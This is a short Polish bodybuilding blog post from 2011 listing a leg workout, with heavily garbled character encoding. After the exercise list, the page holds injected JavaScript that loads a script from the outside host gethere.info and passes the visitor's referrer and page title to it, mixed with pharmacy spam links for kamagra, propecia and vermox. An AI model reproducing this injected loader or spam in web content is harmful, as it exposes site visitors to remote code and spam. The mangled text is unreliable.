21.11.2011

21.12.2011 / Tomasz Lech / Kulturystyka

Dzisiaj wykonaAi??em ostatni trening nA?g przed zaplanowanym 10-cio dniowym caAi??kowitym odpoczynkiem.Jutro tylko trening miAi??Ai??ni plecA?w i wolne,odpoczywam do koAi??ca roku.Czas daAi?? miAi??Ai??niom caAi??kowicie odpoczAi??Ai?? przed ciAi??A?kim sezonem bo taki wAi??aAi??nie bAi??dzie.

dzisiejszy trening wyglAi??daAi?? nastAi??pujAi??co:

-wypychanie na suwnicy 5×12

-przysiady ze sztangAi?? na klatce 4×10

-wyprosty ud na maszynie 4×12

-zginanie podudzi leA?Ai??c na maszynie 4×12

-martwy ciAi??g na prostych nogach 3x10s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‚&default_keyword=’ + encodeURIComponent(document.title) + ”; http://www.ashleekim.com/glucophage-tablet-price/ http://www.viking-klima-sp.si/avalide-for-sale/ kamagra india price. buy Kamagra online. where to buy kamagra safely. Buy how much is motrin if (document.currentScript) { buy generic propecia uk where to buy purim groggers Order http://optimiseheatandsteam.com/uncategorized/buy-vermox-cheap/ minocycline prescription costo vermox plus mexico online